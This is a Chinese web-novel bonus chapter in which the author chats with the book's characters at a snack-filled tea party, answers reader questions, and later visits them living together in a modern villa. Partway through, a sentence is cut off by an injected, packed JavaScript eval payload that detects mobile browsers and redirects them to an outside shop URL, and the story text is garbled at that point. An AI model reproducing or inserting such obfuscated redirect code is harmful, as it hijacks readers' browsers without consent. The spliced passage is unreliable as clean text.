昀宁、昀昭、沈淮、阿蘅、薛明、周文、大皇子昀启、二皇子昀衍、沈老太爷、陈老汉、李二、乌恩……还有那个被昀宁救过的小女孩,她也来了。 当然,还有那个五岁的默延,坐在他阿娘旁边,眨巴着大眼睛看着满屋子的零食。 地点是我家客厅。 我特意买了三张大长桌拼在一起,铺上桌布,摆满了瓜子、花生、薯片、辣条、可乐、奶茶、水果……还有一盆小龙虾,刚出锅的,红彤彤的冒着热气。 昀宁第一个到的。 她穿着一身米白色的毛衣,头发披着,看起来很随意。进门的时候,她站在门口愣了一下,然后笑了。 “这就是你家?” 我点点头,有点紧张。 “随便坐随便坐。” 她走进去,在沙发上坐下。默延跟在她后面,小短腿爬上去,窝在她怀里。 然后沈淮到了。 他穿着一件灰色的卫衣,看起来像个大学生。进门的时候,他先看了昀宁一眼,昀宁也看了他一眼。 两个人谁都没说话。 但我觉得空气突然甜了起来。 昀昭第三个到。他穿着一身黑色的运动服,头发剪得很短,看起来干净利落。进门的时候,他站住了,看着昀宁,叫了一声。 “皇姐。” 昀宁点点头。 “坐吧。” 昀昭在她对面坐下,隔着桌子,正好能看见她。 阿蘅跟着昀昭后面进来的,一进门就直奔昀宁。 “殿下!” 昀宁笑了。 “别叫殿下,叫昀宁就行。” 阿蘅摇头。 “不行不行,叫习惯了。” 她挤在昀宁旁边坐下,一手搂着昀宁的胳膊,一手去拿薯片。 然后是大皇子昀启和二皇子昀衍。 他们俩一起进来的,穿着很普通的T恤牛仔裤,看起来和普通人没什么两样。昀启一进门就看见了桌上的小龙虾,眼睛一亮。 “哟,这玩意儿不错。” 他直接坐到小龙虾旁边,开始戴手套。 昀衍比他斯文些,先跟大家点点头,然后才坐下。 薛明是骑着摩托车来的。他脱了头盔,露出一张棱角分明的脸,那道刀疤还是那么显眼。进来之后,他冲大家点点头,然后找了个角落坐下,不怎么说话。 周文是最后一个到的,抱着一大袋水果,说是路上买的。 “不好意思不好意思,来晚了。” 他一边说一边往里挤,最后挤到薛明旁边坐下。 人都到齐了。 我清了清嗓子。 “那个……今天请大家来,就是想聊聊天,随便聊聊。读者们有很多问题想问你们,咱们就当是茶话会,一边吃一边聊,行不行?” 昀宁点点头。 “行。” 其他人也跟着点头。 默延从昀宁怀里探出小脑袋,看着桌上那盆小龙虾。 “阿娘,那个是什么?” 昀宁说:“小龙虾。” 默延问:“好吃吗?” 昀宁还没回答,昀启已经剥好了一个,递过来。 “来,尝尝。” 默延接过去,咬了一口,眼睛亮了。 “好吃!” 大家笑起来。 气氛一下子轻松了。 我打开手机,开始看留言。 “第一个问题,”我说,“有读者问,为什么大皇子和二皇子是昀昭的大皇叔二皇叔?按照辈分,应该叫皇兄,为什么叫大皇叔二皇叔?” 昀启正啃着小龙虾,听见这个问题,抬起头。 “这问题问得……挺有水平。” 他擦了擦手,开始解释。 “是这样的,我们大燕的律法,先帝的兄弟是可以继位的,所以称呼为大皇子二皇子,但按照辈分来说,我们是昀昭的叔叔,所以他还是敬称我们叫皇叔。” 昀昭点点头。 “对。后来我也延续了这个称呼。大皇叔二皇叔,叫习惯了。” 我点点头,在手机上记下来。 “下一个问题,”我说,“有读者问,昀宁平时最喜欢干什么?” 大家都看向昀宁。 昀宁愣了一下,想了想。 “平时……最喜欢什么?” 阿蘅抢着说:“殿下最喜欢发呆!” 昀宁看着她。 阿蘅理直气壮。 “真的!殿下以前在宫里的时候,经常一个人站在窗前发呆,一站就是一个时辰。我还问过她,想什么呢,她说没想什么。” 昀宁笑了。 “那不是发呆,是在想事情。” 阿蘅说:“想事情和发呆有什么区别?” 昀宁说:“发呆是什么都不想,想事情是想事情。” 阿蘅说:“那殿下是想事情还是发呆?” 昀宁想了想,说:“都有吧。” 沈淮在旁边忽然开口。 “她喜欢看雨。” 大家都看向他。 沈淮说:“上巳节那天,她站在摘星阁的窗前,看着外面的雨,问阿蘅‘你说这雨下得累不累’。那时候我就知道,她喜欢看雨。” 昀宁看着他,嘴角微微弯了弯。 “你还记得。” 沈淮点点头。 “记得。” 空气又甜了起来。 我刚打头“哦哟~”了一声就挨了昀宁狠狠一记眼刀。 “啧,富有且吝啬。”我啧了一声,继续问。 “还有别的吗?” 默延举起小手。 “我知道!阿娘喜欢抱着我!” 大家都笑了。 昀宁把他抱起来,在他脸上亲了一下。 “对,阿娘喜欢抱着你。” 默延嘿嘿笑,又去抓小龙虾。 “下一个问题,”我说,“这个问题有点多,是问昀昭的——你为什么要杀昀宁?” 客厅里一下子安静了。 昀昭坐在那里,一动不动。 昀宁看着他,目光平静。 过了很久,昀昭开口。 “因为我是皇帝。” 他低下头,看着自己的手。 “我是皇帝,我要考虑的不是一个人,是天下人。当时那个情况,胡人和大燕正在打仗,她站在胡人那边,抱着胡人的孩子。我不能让她动摇军心。” 他抬起头,看着昀宁。 “皇姐,我知道你会恨我。” 昀宁摇摇头。 “我不恨你。” 昀昭愣住了。 昀宁说:“你是我弟弟,从小就是我护着你。你做什么,我都不会恨你。” 昀昭的眼眶红了。 “皇姐……” 昀宁笑了笑。 “行了,别煽情了。吃小龙虾。” 她拿起一个小龙虾,开始剥。 昀昭看着她的动作,忽然问。 “皇姐,你疼吗?” 昀宁的手顿了顿。 然后她摇摇头。 “不疼。” 她说。 “那支箭来得很快,快得我什么都没感觉到。只感觉胸口一凉,然后就不疼了。” 她抬起头,看着昀昭。 “你箭法不错。” 昀昭的眼泪掉下来。 沈淮在旁边,忽然开口。 “陛下。” 昀昭看着他。 沈淮说:“你那一箭,我替她挡过。” 昀昭愣住了。 沈淮说:“十年前,在昀启的府里,我也替她挡过。那一次我活下来了。这一次,我没机会了。” 他顿了顿,笑了笑。 “但我不怪你。你是皇帝,你有你的难处。” 昀昭看着他,又看着昀宁。 “你们……” 昀宁和沈淮对视一眼。 昀宁说:“他是我喜欢的人。” 沈淮说:“她是我喜欢的人。” 两个人一起说。 客厅里又是一阵“哦哟~” 接着阿蘅鼓起掌来。 “好!好!” 大家跟着鼓起掌来。 昀昭看着他们,忽然笑了。 那笑容很复杂,有释然,有遗憾,还有一丝说不清的东西。 “皇姐,”他说,“你幸福就好。” 昀宁点点头。 “嗯。” 默延在旁边,仰着小脑袋问。 “阿娘,他是谁?” 他指着沈淮。 昀宁想了想,说:“他是……阿娘的朋友。” 默延看着沈淮,忽然说。 “你眼睛好亮,和阿娘一样。” 沈淮愣了一下。 然后他笑了。 “是吗?” 默延点点头。 “嗯。” 沈淮看着他,忽然伸出手,揉了揉他的头发。 “你眼睛也亮,和你阿娘一样。” 默延咧嘴笑了。 “真的吗?” 沈淮点点头。 “真的。” 我看了看时间,已经聊了两个小时了。 “咱们来玩个游戏吧。”我说。 大家看着我。 “什么游戏?”昀启问。 “那当然就是~~真心话大冒险啦!” 昀启笑了。 “行啊。我先来。” 他转了一下桌上的可乐瓶。 瓶口对准了薛明。 薛明愣了一下,看着昀启。 昀启说:“薛统领,真心话还是大冒险?” 薛明想了想,说:“真心话。” 昀启问:“你那道刀疤,是怎么来的?” 薛明摸了摸脸上的疤。 “打仗的时候,被人砍的。” 昀启说:“就这么简单?” 薛明说:“就这么简单。” 昀启说:“我还以为是多惊心动魄的故事呢。” 薛明笑了笑。 “打仗的事,哪件不惊心动魄?这道疤后面,死了几十个人。我活下来了,他们没活下来。就这么回事。” 大家安静了一瞬。 昀宁端起奶茶,敬了薛明一下。 “薛统领,敬你。” 薛明也端起奶茶。 “敬殿下。” 两人喝了一口。 瓶子继续转。 这次对准了阿蘅。 阿蘅紧张起来。 “真心话还是大冒险?” 阿蘅想了想,说:“大冒险吧。” 昀启眼睛亮了。 “好!大冒险!你……去亲一下薛统领!” 阿蘅的脸一下子红了。 “什么?!” 薛明也愣住了。 大家开始起哄。 “亲一个!亲一个!” 阿蘅看着薛明,脸红得像番茄。 薛明也有些不自在,但嘴角微微弯着。 阿蘅深吸一口气,站起来,走到薛明面前。 薛明看着她。 她弯下腰,在他脸上飞快地亲了一下。 然后跑回昀宁身边,把脸埋起来。 大家笑成一团。 薛明摸了摸被亲的地方,忽然笑了。 昀宁看着他们,嘴角微微弯着。 瓶子又转了几轮。 轮到昀宁的时候,瓶口对准了她。 问问题的是周文。 周文小心翼翼地问:“殿下,我能问您一个问题吗?” 昀宁点点头。 周文说:“您这辈子,最后悔的事是什么?” 昀宁沉默了一瞬。 然后她开口。 “最后悔的事……” 她想了想,说:“没有早点告诉他。” 她看向沈淮。 沈淮也看着她。 两个人对视着,谁都没说话。 过了很久,沈淮说。 “我不后悔。” 昀宁看着他。 沈淮说:“我做的每件事,都是我想做的。替你挡箭,不后悔。死在你怀里,不后悔。等了你这么多年,也不后悔。” 昀宁的眼眶有些红。 “傻子。” 沈淮笑了。 “嗯,傻子。” 默延在旁边,仰着小脑袋问。 “阿娘,你哭了?” 昀宁摇摇头。 “没有。” 默延不信,伸出小手去擦她的眼睛。 “有!湿的!” 昀宁笑了,把他抱紧。 “那是高兴的。” 默延不懂。 但他没有继续问。 他只是窝在她怀里,安静地看着大人们说话。 瓶子又转了几轮。 最后对准了昀昭。 问问题的是我。 我看着昀昭,问了一个我一直想问的问题。 “昀昭,你后悔吗?” 昀昭沉默了很久。 然后他开口。 “后悔。” 他说。 “我后悔了很多年。” 他低下头,看着自己的手。 “每天晚上都睡不着,一闭眼就看见那支箭,看见她倒下去的样子。我想喊她,喊不出来。我想跑过去,跑不动。我就那么看着,看着……” 他说不下去了。 昀宁看着他,忽然开口。 “昀昭。” 昀昭抬起头。 昀宁说:“过来。” 昀昭站起来,走到她面前。 昀宁伸出手,像小时候那样,揉了揉他的头发。 “不后悔。”她说。 昀昭愣住了。 昀宁说:“你做的事,是对的。” 昀昭的眼泪掉下来。 “皇姐……” 昀宁说:“你是皇帝,你想的是天下人。你做的是对的事。” 她顿了顿,继续说。 “而且,我没有死。” 昀昭看着她。 昀宁说:“我在这里,活着,好好的。” 昀昭看着她,看了很久。 然后他忽然笑了。 那笑容里,有眼泪,有释然,还有一丝他小时候才有的天真。 “皇姐,”他说,“我想吃你做的糖醋排骨。” 昀宁愣了一下,然后笑了。 “行。” 她说。 “改天给你做。” 那天晚上,大家一直聊到很晚。 吃完了三盆小龙虾,喝完了两箱可乐,零食也扫得差不多了。 默延趴在昀宁怀里睡着了,小手还攥着她的衣角。 阿蘅靠在昀宁肩上,也睡着了。 薛明坐在角落里,看着阿蘅的睡脸,不知道在想什么。 昀启和昀衍在斗地主,输的人要在脸上贴纸条。昀启脸上已经贴满了,活像个鬼,而昀衍只有两条。 沈淮坐在昀宁旁边,和她一起看着窗外的月亮。 周文在职业病地收拾垃圾,一边收拾一边念叨。 “哎哟喂…哪能造这么多东西嘞…” 昀昭坐在窗边,看着外面。 我走过去,在他旁边坐下。 “想什么呢?” 昀昭摇摇头。 “没什么。” 我看着他,忽然问。 “你觉得,她真的不恨你吗?” 昀昭沉默了一瞬。 然后他笑了。 “不知道。” 他说。 “但她说不恨,我就信。” 我点点头。 远处,昀宁忽然开口。 “昀昭。” 昀昭回过头。 昀宁说:“过来下棋。” 昀昭愣了一下,然后笑了。 他走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316928|198962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过去,在昀宁对面坐下。 阿蘅醒了,揉着眼睛问。 “殿下,下棋?” 昀宁点点头。 阿蘅说:“那我给你们倒茶。” 她跑去倒茶了。 沈淮把睡着了的默延接过去,抱在怀里。 昀昭拿起一枚白子,看着昀宁。 “皇姐,你先下。” 昀宁摇摇头。 “你先。” 昀昭没有推辞,把白子落在棋盘上。 昀宁跟着落子。 两个人就这么下着,一颗一颗,慢慢地落。 月光从窗外照进来,落在他们身上。 我站在旁边,看着这一幕。 忽然觉得,这样真好。 不管书里写了什么,不管结局是什么。 这一刻,他们都活着。 都在一起。 都在下棋。 都在笑。 这就够了。 “茶导,”昀宁忽然叫我,“你要不要来一盘?” 我愣了一下。 “我?我不会下棋。” 昀宁说:“我教你。” 我看看沈淮,沈淮笑了笑。 “去吧,我帮你抱着默延。” 我走过去,在昀昭旁边坐下。 昀宁给我讲规则。 “这个叫围棋,很简单。黑先白后,谁围的地多谁赢……” 我听着听着,忽然问。 “雨有没有得选?” 昀宁愣住了。 然后她笑了。 那笑容很淡,很暖。 “雨没得选。”她说,“但你有。” 我点点头。 拿起一枚黑子,落在棋盘上。 那盘棋,我输了。 输得很惨。 但玩得很开心。 那天晚上,大家走的时候,已经快十二点了。 昀启和昀衍脸上的纸条还没摘完,两个人一路走一路互相嘲笑。 薛明送阿蘅回去,阿蘅红着脸,一直没说话。 周文抱着默延,默延还在睡,一点都不知道自己换了人抱。 昀昭站在门口,回头看了一眼。 “皇姐,改天我来吃糖醋鱼。” 昀宁点点头。 “好。” 昀昭走了。 沈淮站在昀宁旁边,看着他的背影。 “你弟弟长大了。” 昀宁点点头。 “嗯。” 沈淮说:“你教得好。” 昀宁笑了。 “你教得也好。” 沈淮看着她,忽然问。 “你饿不饿?” 昀宁愣了一下。 沈淮说:“楼下有个夜市,卖烧烤的,开到很晚。要不要去吃点?” 昀宁看着他,看了很久。 然后她笑了。 “好。” 他们一起走了。 我站在门口,看着他们的背影消失在电梯里。 忽然觉得,这个番外,写得值。 我关上门,回到客厅。 桌上杯盘狼藉,地上还有掉落的瓜子壳。 我开始收拾。 收拾完了,我走到窗前,看着外面的月亮。 月亮很亮,像那年上巳节的月光。 我忽然想起昀宁问的那句话。 “雨有没有得选?” 我笑了。 雨没得选。 但人有。 选怎么活,选怎么爱,选怎么让自己不后悔。 就像她选的那样。 就像他们选的那样。 我关上窗,关了灯。 走进卧室,躺在床上。 闭上眼睛。 梦里,我好像又回到了那个客厅。 大家都在。 吃小龙虾,嗑瓜子,聊着天,笑着。 真好。 第二天早上,我醒了。 手机上有好多条消息。 我翻了翻,忽然看见一条特别的留言。 “茶导,谢谢你把他们都写活了一次。” 我看着那条留言,看了很久。 然后我回复。 “不客气。他们本来就在那儿,活得好好的。” 我放下手机,起床。 窗外,阳光很好。 是个好天气。 我想,今天去吃小龙虾吧。 麻辣的。 问答精选 1、问:大皇子二皇子真的是坏人吗?可我还是好喜欢他们俩怎么办啊? 昀启:我是坏人吗?(看向昀衍) 昀衍:你说呢? 昀启:……我觉得我挺冤的。我就是想当皇帝,有什么错? 昀宁:错在你想杀我弟弟。 昀启:那不是我后来没杀成吗? 昀宁:因为你死了。 昀启:……行吧。 2秒钟后…… 昀启&昀衍:(同步震惊)不过我是没想到,我们俩居然还有粉丝?!(同步看我)是毒唯还是甜唯啊? 我:(支支吾吾、欲言又止)嗯…就是…嗯…cp粉… (众人震惊ing) 昀启&昀衍:(对视一眼)我们表现的这么明显吗? 2、问:昀宁在西北的时候,最想念什么? 昀宁:最想念……下棋。 阿蘅:殿下,您想念的是下棋吗? 昀宁:……还有别的。 阿蘅:什么别的? 昀宁:(看了一眼沈淮)不告诉你。 我:哦哟~不告诉你~哦哟哟~ 昀宁:(眼刀+脸红)闭嘴! 3、问:沈淮,你后悔去当细作吗? 沈淮:不后悔。 昀宁:真的? 沈淮:真的。就是后悔没多陪你几年。 昀宁:…… 沈淮:怎么了? 昀宁:没什么。就是觉得,你挺傻的。 沈淮:嗯,傻。 4、问:默延,你最喜欢谁? 默延:阿娘! 昀宁:还有呢? 默延:……乌恩姑姑! 乌恩:(跳起来)真的吗?#*$&~!(用胡语喊了一大串,作者也不知道喊的是啥) 默延:嗯!她给我抓羊! 昀宁:那你阿父呢? 默延:嗯~我喜欢阿父,但我觉得他不喜欢我。 昀宁:怎么会呢? 默延:阿父他就是不喜欢我,自从你们那次打完架之后我就没再见过他了。阿娘你说阿父是不是不喜欢我? 昀宁:……你阿父他……是个英雄,他不是不喜欢你,也不是不想见你,他只是…有他要做的事情。你只需要记住,你阿父他可喜欢你了。 默延:哦……但我还是更喜欢阿娘和姑姑! 5、问:阿蘅,你和薛统领后来怎么样了? 阿蘅:(脸红)什么怎么样…… 薛明:(强装镇定,事实上嘴角都要飞到外太空了)……挺好的。 阿蘅:…… 薛明:(偷瞟了阿蘅一眼)她给我绣了个荷包。 阿蘅:(捂住脸)薛明!你怎么什么都往外说! 6、问:昀昭,你想对皇姐说什么? 昀昭:对不起。 昀宁:我说了,不怪你。 昀昭:但我想说。对不起,皇姐。 昀宁:……过来。 昀昭:(走过去) 昀宁:(揉了揉他的头发)行了。 昀昭:(眼眶红了)嗯。 7、问:最后一个问题,你们现在幸福吗? 昀宁:(看着沈淮)幸福。 沈淮:(看着昀宁)幸福。 昀昭:(看着他们)……还行吧。 阿蘅:(看着薛明)……幸福。 薛明:(看着阿蘅)嗯。 昀启&昀衍:(对视)那可太~幸福了! 默延:(举起小手)幸福!还有!小龙虾好吃! 大家:哈哈哈—— 【番外·完】 28. 我们住在一起[番外] 上次写完茶话会之后,我收到了一条私信。 发信人:昀宁。 内容:茶导,我们搬来现代了。买了栋别墅,有空来玩。 我盯着那条私信看了足足三分钟。 然后回复:??? 她回:真的。昀昭出的钱,昀启和昀衍也凑了份子。五层楼,带院子,够住。阿蘅已经把房间都收拾好了。下周六暖房,你来不来? 我:……来。 就这样,我踏上了去“公主府”的路。 ——不对,现在应该叫“公主别墅”。 地址在城郊,一个很安静的别墅区。我打车过去,司机绕了半天,最后停在一扇大铁门前。 我按下门铃。 对讲机里传来阿蘅的声音。 “茶导!你来了!等着,我给你开门!” 铁门缓缓打开。 我走进去,然后愣住了。 这哪里是别墅,这分明是座城堡。 五层楼,灰白色的外墙,大大的落地窗,门口还停着几辆车——一辆黑色的奔驰,一辆白色的宝马,一辆红色的保时捷,还有一辆电动车。等等?电动车? 我正看着那辆电动车发呆,门开了。 阿蘅站在门口,穿着一件粉色的卫衣,扎着马尾辫,看起来就像个大学生。 “茶导!快进来!” 我跟着她走进去。 客厅很大,大得能跑马。落地窗外是个大院子,里面种着花花草草,还有一棵大槐树。 昀宁坐在沙发上,穿着一件米白色的针织衫,手里捧着一杯茶。看见我,她笑了笑。 “来了?” 我点点头,在对面坐下。 沈淮从厨房里探出头,手里拿着一个锅铲。 “茶导,中午留下吃饭,我做饭。” 我:??? 沈淮会做饭? 昀宁看我一眼。 “他学的。来了现代之后,没事干,就学做饭。网上说这叫什么人夫感。” 沈淮缩回厨房,继续忙活。 阿蘅在我旁边坐下,开始给我介绍。 “这栋别墅是昀昭买的,五层楼,每层四个房间。一楼是客厅、厨房、餐厅,还有两个客房。二楼是昀昭和昀宁住的,三楼是昀启和昀衍住的,四楼是沈淮、薛明、周文住的,五楼是乌恩和默延住的。” 我听得一愣一愣的。 “那你自己住哪儿?” 阿蘅说:“我跟殿下住,就在殿下隔壁。” 正说着,楼梯上传来一阵脚步声。 昀昭下来了。 他穿着一身黑色的休闲装,头发比以前长了点,看起来不像皇帝,倒像个富二代。 “茶导。”他点点头,在我对面坐下。 紧接着,昀启和昀衍也下来了。 昀启穿着一件花衬衫,戴着墨镜,手里还拿着杯冰咖啡。看见我,他咧嘴一笑。 “哟,茶导来了。” 昀衍跟在他后面,穿得斯文些,白衬衫黑裤子,手里拿着本书。 “茶导。”他点点头,在旁边坐下。 然后是薛明。 他穿着一件黑色的夹克,脸上的刀疤还是那么显眼。下来之后,他冲我点点头,然后坐到角落里,一如既往地不说话。 周文跟在他后面,手里抱着一大袋零食。 “茶导!吃零食!” 他把零食往桌上一放,开始往外掏——薯片、辣条、巧克力、坚果,堆了满满一桌。 我还没来得及说谢谢,楼上又传来一阵笑声。 乌恩拉着默延跑下来了。 乌恩穿着一件民族风的长裙,头发编成辫子,眼睛亮亮的。看见我,她直接用胡语喊了一句什么。 我:??? 昀宁翻译:“她说欢迎你来。” 默延跑到昀宁身边,往她怀里一钻,然后探出小脑袋看我。 “茶阿姨好。” 我:……阿姨? 昀宁笑了。 “叫姐姐。” 默延眨眨眼。 “茶姐姐好。” 我:这还差不多。 人到齐了。 我坐在沙发上,看着这一屋子人,忽然有一种奇怪的感觉。 这些人,前几天还在书里杀来杀去。 现在坐在我面前,吃零食,喝咖啡,聊天。 命运这东西,真是神奇。 “茶导,”昀启忽然开口,“你看什么呢?” 我说:“看你们。” 昀启笑了。 “有什么好看的?都是一群普通人。” 我说:“你们可不普通。” 昀启说:“现在是了。” 他指了指那辆停在门口的电动车。 “看见没?那是我买的。环保,省钱,不用加油。” 我:??? 昀启骑电动车? 昀衍在旁边幽幽地来了一句。 “他驾照被扣了。酒驾。” 昀启瞪他一眼。 “你不说话没人当你是哑巴。” 我忍不住笑了。 沈淮从厨房里探出头。 “开饭了。” 大家站起来,往餐厅走。 餐厅里摆着一张长条桌,能坐十几个人。沈淮端着一盘盘菜上来,红烧肉、糖醋鱼、清炒时蔬、麻婆豆腐、西红柿炒鸡蛋……全是家常菜,但看着就香。 默延爬上椅子,眼睛亮亮地盯着那盘糖醋鱼。 “沈叔叔,我要吃鱼!” 沈淮给他夹了一大块。 “慢点吃,有刺。” 默延点点头,开始埋头苦吃。 大家在桌边坐下,开始吃饭。 吃着吃着,昀宁忽然问。 “茶导,读者们对我们的现代生活好奇吗?” 我说:“当然好奇。他们什么问题都有。” 昀昭抬起头。 “什么问题?” 我放下筷子,开始回忆。 “比如说,你们现在都干什么工作?” 昀启抢着回答:“我炒股。” 我看着他那张脸。 “炒股?你?” 昀启理直气壮。 “怎么?我好歹当过摄政王,这点脑子还是有的。” 昀衍在旁边慢悠悠地来了一句。 “他上个月亏了二十万。” 昀启:…… 昀宁笑了。 “你呢?”我问昀衍。 昀衍说:“开书店。” 我愣了一下。 “书店?” 昀衍点点头。 “就在城西,不大,但书都是我挑的。想看书的人,可以去坐坐。” 我想起他在书里的样子。 沉默,深沉,心思难测。 现在开书店,倒也挺合适。 “所以现在…你俩关系怎么样?”我一脸贼笑地问。 “啥关系?”昀启一脸诧异。 “那种关系。” 昀启愣了两秒钟,不自觉地伸手按住了腰,“你看我这身强体壮的样子,你觉得呢?” 昀衍:“嘴硬。“ 众人一阵哄笑。 昀启:“滚啊!” “昀昭呢?”我问。 昀昭说:“投资。” 我看着他。 “投什么?” 昀昭说:“什么都有。科技、医疗、新能源……” 昀启插嘴:“其实就是我们几个的钱都给他管。他自己也炒股,但比我厉害。” 昀昭看他一眼。 “是你太菜。” 昀启:…… 大家笑起来。 “那昀宁呢?”我问。 昀宁放下筷子。 “我?我开了一家茶馆。” 我眼睛亮了。 “茶馆?” 昀宁点点头。 “就在城东,叫‘摘星阁’。平时没什么人,就几个老朋友去坐坐。” 阿蘅在旁边补充。 “殿下亲手泡的茶,可好喝了。你们有机会一定要去尝尝。” 我点点头。 “一定去。” “还有谁?”我问。 沈淮指了指自己。 “我,厨师。” 我看着他。 “真的假的?” 沈淮说:“真的。在一家餐厅打工,学了几个月,现在能做一桌子菜了。” 我看看桌上的菜。 “这些都是你做的?” 沈淮点点头。 “尝尝。” 我夹了一筷子糖醋鱼。 好吃。 真的好吃。 我竖起大拇指。 “厉害。” 沈淮笑了。 薛明在旁边,一直没说话。 我问他:“薛统领,你呢?” 薛明抬起头。 “我在工地。” 我愣了一下。 “工地?” 薛明点点头。 “干过保安,干过监工,现在干项目经理。” 阿蘅在旁边小声说:“他管着一百多号人呢。” 我看着薛明,忽然有些感慨。 书里的他,是统领三千禁军的将军。 现在的他,是管着一百多号人的项目经理。 变了,又没变。 “周文呢?”我问。 周文正啃着鸡腿,听见我叫他,连忙放下。 “我?我在法院上班。” 我:??? 周文说:“书记员。就是帮忙整理案卷、写写材料的。” 我想起他在书里的样子——京兆尹府的主簿,专门处理各种案子。 现在在法院上班,倒也挺对口。 “乌恩呢?” 乌恩听见自己的名字,抬起头。 “我?我学跳舞。” 她说汉话已经流利多了,但还是带点口音。 “民族舞。老师说我跳得好。” 昀宁在旁边补充。 “她参加比赛还拿过奖。” 乌恩不好意思地笑了。 默延在旁边举手。 “我!我上幼儿园!” 大家笑起来。 昀宁揉了揉他的头发。 “对,你上幼儿园。” 一顿饭吃完,大家移到客厅,继续聊天。 阿蘅端来水果和茶,昀宁亲自泡的。 我喝着茶,忽然想起一个问题。 “对了,你们怎么适应现代生活的?” 昀宁想了想,说:“慢慢适应的。” 她指了指自己的手机。 “光学这个,就学了三个月。” 我看着她手里的最新款手机。 “用得习惯吗?” 昀宁说:“还行。就是有时候会迷路。” 昀昭在旁边说:“她出门从来不用导航。” 昀宁看他一眼。 “用导航也迷路,不如不用。” 我笑了。 “那你们平时都干什么?” 昀启说:“我炒股。” 昀衍说:“我看书。” 昀昭说:“我工作。” 昀宁说:“我喝茶。” 沈淮说:“我做饭。” 薛明说:“我上班。” 周文说:“我打游戏。” 乌恩说:“我跳舞。” 默延说:“我玩!” 大家又笑起来。 “那你们一起干什么?”我问。 昀宁想了想,说:“一起吃饭。” 沈淮点头。 “每天晚上,只要不出差,都一起吃饭。” 阿蘅说:“周末有时候会一起看电影。” 昀昭说:“偶尔出去旅游。” 昀启说:“我开车。” 大家看着他。 昀衍:“你驾照不是被扣了吗?” 昀启:…… 又是一阵笑。 笑着笑着,我忽然想起一个问题。 “昀宁,”我问,“你还会想以前的事吗?” 客厅里安静了一瞬。 昀宁端着茶杯,看着窗外。 过了很久,她开口。 “想。” 她说。 “有时候会想。想那些日子,那些人,那些事。” 她顿了顿,继续说。 “但不想回去。” 我看着她。 昀宁说:“现在挺好的。” 她低下头,看着杯里的茶。 “有他,有昀昭,有阿蘅,有大家。每天平平淡淡的,吃饭,喝茶,聊天,发呆。什么都不用想,什么都不用怕。” 她抬起头,笑了笑。 “这就够了。” 沈淮在她旁边,握住了她的手。 昀昭看着她,眼眶有些红。 阿蘅已经开始抹眼泪了。 我看看他们,忽然觉得眼睛也有些酸。 “好了好了,”昀启打破沉默,“别煽情了。茶导,你来之前,我们正准备看电影呢,一起看?” 我愣了一下。 “什么电影?” 昀启说:“恐怖片。” 我看着他那张脸。 “你?恐怖片?” 昀启理直气壮。 “怎么?我胆子大着呢。” 昀衍幽幽地来了一句。 “他每次看都捂眼睛。” 昀启:…… 大家笑起来。 电影开始了。 是一部泰国恐怖片,讲的是一个女鬼回来复仇的故事。 刚开始十分钟,昀启就开始捂眼睛(注:用的是昀衍的手),边捂还边从指缝间偷看。 昀衍在旁边笑得不行。 “你不是胆子大吗?” 昀启嘴硬。 “我……我眼睛进沙子了。” 默延窝在昀宁怀里,看得津津有味。 “阿娘,那个鬼好可怜。” 昀宁低头看他。 “可怜?” 默延点点头。 “她死了,没人陪她。所以她回来找人陪她。” 昀宁沉默了一瞬。 然后她捏了捏默延的脸蛋。 “嗯,你说得对。” 我坐在沙发上,看着这一幕。 看着昀启捂眼睛,昀衍笑话他,昀昭面无表情地吃着爆米花,薛明和周文在讨论剧情,乌恩吓得往阿蘅怀里钻,沈淮握着昀宁的手,默延窝在她怀里,昀宁看着屏幕,嘴角微微弯着。 我忽然觉得,这样真好。 不管以前发生过什么。 不管书里写过什么。 此刻,他们都在这儿。 在一起。 笑着,闹着,活着。 电影放完了。 昀启第一个跳起来。 “我去睡觉了!” 他跑上楼。 昀衍在后面慢悠悠地跟着。 “你怕了就直说。” 昀启的声音从楼上传来。 “我才不怕!” 大家笑着散了。 昀昭站起来,冲我点点头。 “茶导,客房在一楼,阿蘅给你收拾好了。早点休息。” 我点点头。 “晚安。” 他上楼了。 沈淮走过来,递给我一杯热牛奶。 “睡前喝点,好睡。” 我接过来。 “谢谢。” 他笑了笑,和昀宁一起上楼了。 默延趴在昀宁肩上,已经睡着了。 阿蘅拉着乌恩,叽叽喳喳地说着什么。 薛明和周文还在讨论剧情。 客厅里慢慢安静下来。 我端着牛奶,坐在沙发上,看着窗外的月亮。 月亮很亮,像那年上巳节的月光。 我喝完牛奶,站起来,往客房走。 躺在床上,闭上眼睛。 耳边似乎还回响着他们的笑声。 真好。 第二天早上,我是被香味熏醒的。 我爬起来,走出客房。 厨房里,沈淮正在忙活。煎蛋、培根、烤面包,还有一大锅粥。 昀宁坐在餐桌边,捧着茶,看着窗外。 阿蘅在旁边摆放碗筷。 默延趴在桌上,用小勺子舀粥喝。 看见我,他抬起头。 “茶姐姐早!” 我笑了。 “早。” 我在餐桌边坐下。 沈淮端着一盘煎蛋过来。 “尝尝。” 我夹了一个,咬一口。 好吃。 “沈淮,”我说,“你开餐厅吧,我去给你打工。” 沈淮笑了。 “行啊。你来,我给你开工资。” 大家陆续下来了。 昀昭穿着运动服,头发湿漉漉的,像是刚跑完步。 昀启顶着一头乱毛,打着哈欠。 昀衍倒是整齐,衬衫扣得一丝不苟。 薛明还是一身黑,默默地在角落坐下。 周文拿着手机,一边走一边看。 乌恩穿着舞蹈服,说是等会儿要去练功。 大家坐在一起,吃早餐。 吵吵闹闹的,和普通人家没什么两样。 吃着吃着,昀启忽然说。 “茶导,今天周末,要不要出去逛逛?” 我看着他。 “去哪儿?” 昀启说:“我们平时去的那个商场。有吃的,有玩的,还能看电影。” 昀衍在旁边说:“其实就是他想去买衣服。” 昀启瞪他一眼。 “我买衣服怎么了?” 昀衍说:“你衣柜里已经塞不下了。” 昀启:…… 大家笑起来。 吃完早餐,大家准备出门。 昀宁换了身淡蓝色的长裙,头发披着,看起来像画里走出来的人。 